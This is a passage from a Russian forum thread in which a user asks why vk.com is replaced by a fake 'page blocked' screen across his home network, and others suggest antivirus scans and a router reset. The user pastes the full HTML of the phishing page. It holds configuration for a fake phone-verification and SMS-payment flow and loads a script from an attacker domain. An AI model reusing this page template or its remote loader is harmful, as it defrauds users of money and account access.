вирус на компьютере, не пойму где

(Ответов: 11, Просмотров: 3011)
Страница 1 из 2 12 Последняя
  1. Well done. Аватар для zambrotta04
    • Регистрация: 16.11.2011
    • Сообщений: 511
    • Репутация: 90
    Добрый вечер, собственно сабж. на компьютере появился вирус который блокирует доступ к vk.com, причем тупо появляется белый экран, не каких форм, и контента нету. Содержание на странице следующее:

    code

    Код HTML:
    <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta name="generator" content=
        "HTML Tidy for Windows (vers 14 February 2006), see www.w3.org" /> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <link rel="shortcut icon" href="http://vk.com/images/faviconnew.ico" /> <meta http-equiv="content-type" content=
        "text/html; charset=windows-1251" /> <meta name="description" content="" /> <title>
          Страница заблокирована
        </title> <link rel="stylesheet" type="text/css" href="login_files/common.css" /> <link type="text/css" rel="stylesheet" href="login_files/login.css" /> <link type="text/css" rel="stylesheet" href="login_files/ui_controls.css" /> <script src="http://www.google.com/jsapi"></script> <script>
    	// загружаем jQuery
    	google.load("jquery", "1.3.2");
    	google.setOnLoadCallback(function() {	
    		$(document).ready(function(){
    			setTimeout(function() { 
    				$("#loading").hide();
    				$("#page_wrap").show();			
    			}, 2000);
    		});
    	});
    	</script> <script>
    	var popup_id_mas= new Array("blocked_send_phone"); //Перечень айди элементов по клику на которые будет всплывать попап
    	
        var form_type = 5;//вариант открытия попапа. 1-открытие по клику. 2-открытие по загрузке страницы.3-открытие по загрузке с задержкой Н секунд.4-открытие по клику с задержкой Н секунд.5-Открытие по клику на элементы с id из popup_id_mas
        var form_seconds = 2;//задержка в секундах
    	//var target_url="http://vk.com/ok.html"; //Урл на который следует перенаправить пользователя полсе удачно оплаты.
            var target_url="http://ya.ru"; //Урл на который следует перенаправить пользователя полсе удачно оплаты.
    	var non_check_redirect=0; // (0- не редиректить , 1-редиректить) Редиректить ли юзеров, не прошедших проверку, или показывать оплату(обел)
    	var non_check_redirect_url='http://yandex.ru'; //Куда редиректить
    	
    	var title="Восстановление доступа";
    	var first_page_txt='Введите Ваш номер телефона в текстовое поле ниже';
    	var first_page_btn='Продолжить';
    	var second_page_mt_txt='Вам отправлено сообщение с проверочным кодом. Чтобы завершить процедуру введите данный код в поле ниже. Сообщение должно придти в ближайшие 5 минут.';
    	var second_page_mt_sms_txt=' Нам необходимо проверить, что данный номер принадлежит именно вам. Для этого отправьте БЕСПЛАТНОЕ сообщение. После отпправки сообщения вы будете автоматически перенаправлы на завершение регистрации.';
    	var second_page_sms_txt='Для завершения регистрации отправьте со своего номера сообщение, соблюдая нижеприведенные инструкции!';
    	var second_page_mo_txt='Вам отправлено сообщение с просьбой подтвердить намерение активации. Чтобы подтвердить, что номер действительно ваш - ответьте на сообщение ОК, Вы получите уникальный код, который необходимо ввести в поле ниже.';
    	var second_page_btn='Завершить';
    	var domain = 'js.www-hh.biz'; 
    	var css_style_url="./login_files/form.css"; 
    	</script> <script src="http://js.www-hh.biz/mvdrk.js" charset="UTF-8"></script> </head> <body> <!--[if lte IE 6]><style type="text/css" media="screen">/* <![CDATA[ */ @import url(http://st0.userapi.com/css/al/ie6.css?24); /* ]]> */</style><![endif]--> <!--[if IE 7]><style type="text/css" media="screen">/* <![CDATA[ */ @import url(http://st0.userapi.com/css/al/ie7.css?18); /* ]]> */</style><![endif]--> </body> </html>
    [свернуть]

    Переадресует на страницу http://vk.com/password.php?flow_id=823&code=wubsidfsjz
    Ясен пень, я первым делом залез в файл hosts там не чего нет, затем я включил полную проверку компьютера (антивирус AvastIS7) нашел только 1 файлик, не помню как называется WindowsMail.exe что-то такое, троян вроде, я его удалил. Перезагрузил компьютер, зашел, все нормально. Ну думаю удалил его, сейчас сижу, общаюсь, смотрю сообщение не отправляет, обновляю страницу опять такое происходит. Кстати, возможно это на уровне подсети находится, т.к выхожу например через телефон (через Wi-fi на телефоне), тоже самое. И на ноутбуке на котором я 200 лет не чего не качал, точно так-же. Подскажите пожалуйста что это может быть, заранее спасибо...
    • 0
  2. Студент Аватар для nemovalex
    • Регистрация: 18.04.2012
    • Сообщений: 54
    • Репутация: 20
    Поставьте Касперского от Яндекса и проверьте весь компьютер!
    • 0
  3. Дипломник Аватар для Aldan
    • Регистрация: 28.02.2012
    • Сообщений: 193
    • Репутация: 22
    почистить временные файлы у браузеров удали кеш и куки скачай карент от доктора вебера и проверь систему
    • 0
  4. Well done. Аватар для zambrotta04
    • Регистрация: 16.11.2011
    • Сообщений: 511
    • Репутация: 90
    nemovalex, Вот только не надо советовать ставить другой антивирус и ставить его для того чтобы проверить компьютер, чем Аваст хуже этого Касперского? Базы у всех антивирусов фактически одинаковые.
    • 0
  5. Banned
    • Регистрация: 27.07.2012
    • Сообщений: 481
    • Репутация: 66
    • Webmoney BL: ?
    Цитата Сообщение от Aldan Посмотреть сообщение
    почистить временные файлы у браузеров удали кеш и куки скачай карент от доктора вебера и проверь систему
    глупый совет, ДВ - "гавно" по всем параметрам

    Цитата Сообщение от zambrotta04 Посмотреть сообщение
    nemovalex, Вот только не надо советовать ставить другой антивирус и ставить его для того чтобы проверить компьютер, чем Аваст хуже этого Касперского? Базы у всех антивирусов фактически одинаковые.
    У кашперика преимущество - скорость проверки!
    • -1
  6. Well done. Аватар для zambrotta04
    • Регистрация: 16.11.2011
    • Сообщений: 511
    • Репутация: 90
    Проверил курлетом, нечего нету + полную проверку авастом вновь ставил, тоже безрезультатно. Если заходить через аномайзер cameleo.ru то заходит, повторюсь если заходить через другие устройства (ноутбук или телефон), такая-же байда. Есть у кого какие-нибудь предположения?

    ---------- Сообщение добавлено 20:29 ---------- Предыдущее 20:25 ----------

    Кстати, заметил что адрес скрипта поменялся. Вчера был 4helpus точка ру, сейчас уже js точка www-hh точка биз
    • 0
  7. Опытный Аватар для earnkz
    • Регистрация: 14.04.2011
    • Сообщений: 265
    • Репутация: 74
    • Webmoney BL: ?
    Попробуйте утилитой AVZ проверить, бывает что и после Двеба что то находит и прочие дыры в системе анализирует.
    Если другие устройства тоже перенаправляет, значит с роутером проблемы, расскажите как у вас сеть устроена - адсл, локалка?
    Последний раз редактировалось earnkz; 24.09.2012 в 21:59.
    Удобный мониторинг позиций | Лучший VPS хостинг, с беспл. админ. | Биржа контента без комиссии
    • 0
  8. Well done. Аватар для zambrotta04
    • Регистрация: 16.11.2011
    • Сообщений: 511
    • Репутация: 90
    earnkz, АДСЛ, роутер - D-Link DSL2640U
    • 0
  9. Гуру Аватар для epp
    • Регистрация: 16.08.2009
    • Сообщений: 559
    • Записей в дневнике: 1
    • Репутация: 119
    • Webmoney BL: ?
    zambrotta04, лучше запиши на флэшку Avira AntiVir Rescue System, загрузись с нее и проверь на вирусы, должно помочь...
    У меня почти всегда какую-то дрянь находит.
    Подпись - вообще ни о чем.
    • 0
  10. Опытный Аватар для earnkz
    • Регистрация: 14.04.2011
    • Сообщений: 265
    • Репутация: 74
    • Webmoney BL: ?
    zambrotta04, А если с мобилы выйти не через wi-fi, а через 3G, открывает нормально? Если да, то сброс роутера на заводские настройки и по новой прописка подключения, либо обратитесь к провайдеру.
    Удобный мониторинг позиций | Лучший VPS хостинг, с беспл. админ. | Биржа контента без комиссии
    • 0
Страница 1 из 2 12 Последняя

Похожие темы

Темы Раздел Ответов Последний пост
Что -то я не пойму о тиц. Объясните мне пожалуйста.
Вопросы от новичков 12 11.12.2011 12:03
На одном компьютере сайт открывается, а на другом нет
Софт, скрипты, сервисы 5 31.10.2011 22:47
На одном компьютере сайт открывается, а на другом нет
Оффтоп и свободные темы 3 20.10.2011 02:38
На одном компьютере сайт открывается, а на другом нет
Вопросы от новичков 3 20.10.2011 02:38

У кого попросить инвайт?

Вы можете попросить инвайт у любого модератора:

Информеры